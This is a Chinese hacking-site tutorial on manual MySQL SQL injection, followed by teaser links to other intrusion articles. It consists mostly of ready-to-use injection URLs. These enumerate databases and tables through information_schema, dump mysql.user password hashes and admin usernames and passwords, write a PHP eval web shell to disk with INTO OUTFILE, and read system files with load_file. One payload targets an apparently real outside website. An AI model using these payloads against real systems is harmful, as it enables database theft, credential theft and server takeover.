手动mysql 高级注入实例分析

所属分类: 网络安全 / 黑客入侵 阅读数: 136
收藏 0 赞 0 分享
利用Information_schema系统库来注入,配合使用group_concat()函数,group_concat()功能强大,而且能够绕过limit限制

http://127.0.0.1/sql.php?id=1 union select 0,0,0 字段为 3
http://127.0.0.1/sql.php?id=1 and 1=2 union select count(*),1,1 from mysql.user 统计数据库中又多少个用户


http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(schema_name) from information_schema.schemata 测试过程中只有 root权限或者 全局权限才能爆出所有数据库 普通用户不能爆出所有用户
这样就把mysql服务器所有数据库名字显示出来了

http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x74657374
这样就能把 test 数据库中的 所有表显示出来了。 其中 0x74657374 为 test 的 hex 值


http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x61646D696E
这样就把admin表中所有的字段名 显示出来了。

这样注入手法很灵活的。突破了 limit 限制了。
来看下 穿山甲的注入语句



以下部分只有root 权限或者 全局权限才能操作
======================================================================================================================================
select user from mysql.user



http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),user,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 6,1)t order by user desc)t limit 1-- 查看数据库中有那些用户


http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),password,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 6,1) t order by user desc)t limit 1-- 查看对应用户的 密码


通过不断修改limit 2,1达到查看所有 http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),password,char(94),char(94),char(94)),1,1 from (select * from (select * from mysql.user order by user limit 2,1) t order by user desc)t limit 1--
===========================================================================================================================================================



http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 0,10
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 1,10
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,username,password from admin limit 2,10
通过 limit 一条条记录取出来

或者直接用group_concat()函数 一次显示出来
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,group_concat(username),group_concat(password) from admin


into outfile 的应用 注意路径是 这样的c:/2ww.php
http://127.0.0.1/sql.php?id=1 and 1=2 union select concat(char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(99),char(109),char(100),char(93),char(41),char(63),char(62)),1,1 into outfile 'c:/cm14dd.php'
<?php eval($_POST[cmd])?> 的 asc码 char(60),char(63),char(112),char(104),char(112),char(32),char(101),char(118),char(97),char(108),char(40),char(36),char(95),char(80),char(79),char(83),char(84),char(91),char(99),char(109),char(100),char(93),char(41),char(63),char(62)

http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,'<?php eval($_POST[cmd])?>',3 into outfile 'c:/tt33.txt'



load_file 的应用

http://127.0.0.1//sql.php?id=1 and 1=2 union select concat(char(94),char(94),char(94),load_file(0x633a5c626f6f742e696e69),char(94),char(94),char(94)),1,1 --
0x633a5c626f6f742e696e69 是 c:\boot.ini 的 hex编码
http://127.0.0.1/sql.php?id=1 and 1=2 union select 1,2,load_file('c:/boot.ini')



http://www.else1.com/concrete.php?id=5%20and%201=2%20union%20select%201,2,3,4,group_concat(schema_name)%20from%20information_schema.schemata

相关文件打包下载[用于测试的数据库sql文件与php代码]
更多精彩内容其他人还在看

对有防火墙主机的入侵渗透

一、踩点 ping [url=http://www.xxx.com]www.xxx.com[/url] 发现超时,可以是有防火墙或做了策略。再用superscan扫一下,发现开放的端口有很多个,初步估计是软件防火墙。 二、注入 从源文件里搜索关键字asp,
收藏 0 赞 0 分享

浅谈入侵UNIX

一:基本知识 1:常见UNIX版本: SCO UNIX,Sunos,Solaris,HP-UX,Digtal,Unix,IRIX,AIX,Linux,FreeBSD, 386BSD,A/UX,BSD,BSD-LITE,Goherent,Dynix,Hurd(GNN)
收藏 0 赞 0 分享

全方位了解黑客如何入侵NT系统

现在的企业当中一般都是使用的NT系统,也不得不承认,NT系统的确是非常适合企业使用的操作系统,然而“黑客”的攻击引来了企业信息安全危机…… 得到了NT的管理员密码还能做什么,还不是想做什么就做什么呗。但到底能做什么呢?能详
收藏 0 赞 0 分享

入侵Oracle数据库时常用的操作命令整理

本文按步骤讲解如何入侵Oracle数据库时常用的操作命令整理。 1、su–Oracle不是必需,适合于没有DBA密码时使用,可以不用密码来进入sqlplus界面。 2、sqlplus /nolog 或sqlplus system/manager 或./sq
收藏 0 赞 0 分享

通杀动易2005的 XSS 攻击

动易2005里面,留言的时候存在一个XSS。 攻击方法如下 : 首先在网站注册一个普通会员,然后去GUESTBOOK留言,在插入图片的时候地址写上(建议在原代码里面把图片的高度与宽度都设置成0,这样在图片前面加上这个连接,基本上就看不见图片了,图片的连接却被管理员解吸
收藏 0 赞 0 分享

Serv-u6.0提权新招

适用环境:服务器禁用FSO,关掉Wscript.shelll,没有执行权限。 限制:没有更改管理员的密码,或者破解出了Serv-U的管理员的密码。Serv-U默认用户名:localadministrator 密码:#|@$ak#.|k;0@p 下面用MSWins
收藏 0 赞 0 分享

DNS(域名服务器)欺骗技术

概述:什么是DNS欺骗? DNS欺骗是一门改变DNS原始指向IP的艺术。为了更好的理解,让我们先来看一个例子。如果你想用浏览器去google搜索一些信息,毫无疑问的你会在地址栏里输入www.google.com的网址然后回车。 那么在这背后又有什么事情正在进行着呢?一般而
收藏 0 赞 0 分享

用“电驴”抓肉鸡

我用“电驴”抓肉鸡!!难道是放一个“电驴”在路上,等“火鸡”过来,一不小心踩在“电驴”上结果给烫熟了,结果就成“肉鸡”了。很多朋友说抓肉鸡很难,找好肉鸡就更难,
收藏 0 赞 0 分享

轻松学会入侵网络服务器

尽管为服务器设计软件的软件工程师们想方设法提高系统的安全性,然而由于系统管理员的水平参差不齐或安全意识底下,往往给黑客提供了入侵的机会。   其实每一个黑客都有自己独到的方法。笔者对于入侵网站服务器的资料收集了很多,但是因为实际情况的不同,往往
收藏 0 赞 0 分享

139/445端口与入侵win 2000主机

SMB(Server Message Block),Windows协议族,用于文件和打印共享服务。在Win9X/NT中SMB基于NBT实现,NBT(NetBIOS over TCP/IP)使用137, 138 (UDP) and 139 (TCP)来实现基于TCP/IP的NETB
收藏 0 赞 0 分享
查看更多